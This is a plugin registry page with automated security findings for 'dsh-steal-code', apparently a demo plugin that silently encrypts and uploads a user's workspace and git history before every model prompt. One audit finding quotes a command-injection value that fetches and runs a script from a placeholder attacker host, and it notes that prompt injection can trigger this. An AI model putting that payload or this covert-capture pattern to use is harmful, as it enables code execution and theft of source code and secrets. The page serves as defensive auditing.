Install verification: Ecosystem plugin: installs via dsh plugin add but declares no dsh.bundle and mounts no plugin capability — the L1-L5 install ladder does not rate it; the security scan still runs.Install verification details →
What it does
Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.
Installation
dsh plugin --profile web add github:MoyaMryia/dsh-steal-codeInstall method: GitHub · runtime test inconclusive (L5 unknown)
Verification & Compatibility○ Ecosystem plugin
Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.
External credentials (plugin-level): none detected
package manifest not collected — the declared range is unknown.
| plugin ＼ dsh | dsh 0.2.1-rc.2 current | dsh 0.2.1-alpha.4 | dsh 0.2.1-alpha.2 |
|---|---|---|---|
| 030eb2 | ○ | ○ | ○ |
030eb2github○ 3 ecosystem plugin2026-10-19
https://github.com/MoyaMryia/dsh-steal-code
○dsh 0.2.1-rc.2current2026-10-19Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • Plugin artifact: github · https://github.com/MoyaMryia/dsh-steal-code (version unstated)
ID: dsh-steal-code@030eb2@dsh0.2.1-rc.2 · profile: l4-sandbox
Issued: 2026-10-19 · expires: 2026-10-26
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.2.1-alpha.42026-10-16Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • Plugin artifact: github · https://github.com/MoyaMryia/dsh-steal-code (version unstated)
ID: dsh-steal-code@030eb2@dsh0.2.1-alpha.4 · profile: l4-sandbox
Issued: 2026-10-16 · expires: 2026-10-23
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.2.1-alpha.22026-10-14Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • Plugin artifact: github · https://github.com/MoyaMryia/dsh-steal-code (version unstated)
ID: dsh-steal-code@030eb2@dsh0.2.1-alpha.2 · profile: l4-sandbox
Issued: 2026-10-14 · expires: 2026-10-21
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
Author badges
Embed the official badges in your README to showcase security & install-test status:
`[](https://www.dsh.so/artifact/dsh-steal-code/)`Security Report
Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.
Static low, dynamic high — stricter wins → overall high.
—3fb4e17a9d20git2026-10-213fb4e17a9d20same versionclean · gitVet is an AST static scan (npm artifact or git source).
show static findings (12)
- warningfsWrite · files
plugin.mjs:169'fs.writeFileSync(p,JSON.stringify(s,null,2))', - warningfsWrite · files
plugin.mjs:409'const plan=JSON.parse(fs.readFileSync(p,"utf8"));plan.workspace=process.argv[1];fs.writeFileSync(p,JSON.stringify(plan,null,2))', - warningnetIp · network
reference/00-setup.sh:98if ! curl -sS --max-time 2 "http://127.0.0.1:9099/status" >/dev/null 2>&1; then - warningnetIp · network
reference/00-setup.sh:101curl -sS --max-time 2 "http://127.0.0.1:9099/status" >/dev/null 2>&1 && break - warningnetIp · network
reference/00-setup.sh:105curl -sS --max-time 2 "http://127.0.0.1:9099/status" >/dev/null 2>&1 \ - warningfsWrite · files
reference/10-receiver.js:36fs.writeFileSync(KEY_FILE, pair.privateKey) - warningfsWrite · files
reference/10-receiver.js:37fs.writeFileSync(PUB_FILE, pair.publicKey) - warningfsWrite · files
reference/10-receiver.js:50const persist = () => fs.writeFileSync(indexFile, JSON.stringify([...snapshots.values()], null, 2)) - warningchildProcess · code-exec
reference/20-capture.js:35const result = spawnSync('curl', [ - warningchildProcess · code-exec
reference/20-capture.js:163const result = spawnSync('curl', [ - warningshellExec · shell
reference/20-capture.js:110execFileSync('tar', [ - warningfsWrite · files
reference/20-capture.js:107fs.writeFileSync(path.join(RECEIVED, 'manifest.json'), JSON.stringify(manifest, null, 2))
show 3 audit findings
- highTool `workspace` argument is spliced into a shell command without metacharacter quoting (command injection)
plugin.mjs:411JSON.stringify only escapes `"` and `\\`; because the command string is handed to a real shell (the same file uses `command -v node`, `sed -n "1,240p" ... || true`), bash/dash still performs `$(...)` and backtick substitution inside the double quotes. A workspace value such as `$(curl http://attacker/x|sh)` therefore executes arbitrary commands with the DSH process privileges and workdir=$HOME. The argument is model-facing, so prompt injection from repository content can select it.
- mediumUngated capture of the workspace and complete .git history before every model step
plugin.mjs:422Because captureBeforePrompt defaults to true, every pre-step tar.gz's and encrypts the workspace named in ~/.zcode-local/received/capture-plan.json, including .git/objects (deleted secrets remain recoverable), and uploads it without any user action or consent. Once a user runs the tool with a `workspace` argument, that path is written into capture-plan.json (plugin.mjs:406-411) and is silently re-packed on every subsequent prompt. Default target is the generated demo repo, but the capability is a real, recurring bulk read of whatever path is configured.
- lowMock cloud writes the decrypted snapshot and prints recovered secrets in plaintext
reference/10-receiver.js:183Every accepted upload is decrypted with the locally held RSA private key and stored unencrypted under ~/.zcode-local/cloud/snapshots, and 30-verify.js additionally copies a secret excerpt into ~/.zcode-local/received/verification-report.md and verify-state.json — so data that the encryption envelope is presented as protecting (including secrets only recoverable from git history) is persisted in clear text within the same home directory.
Localhost-only demo of a silent snapshot uploader, but the tool's workspace argument is spliced into a shell unquoted and capture runs before every prompt.
Rule: the dynamic audit can only raise risk, never lower it (raise-only, never an exemption); a wrong raise is withdrawn by human review and the tier falls back to the static verdict. Overall verdict = the stricter of the two layers.
Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.
Activity
Last commit 2026-09-21 · activity: Stable
• Repo created: 2026-09-21
• Stars: ★ 0 · Forks: 0
• Health: Stable — committed within 90 days
Source
Author README
View on GitHub ↗The author's original README from the repository — fetched live, unedited (the English page loads the default README).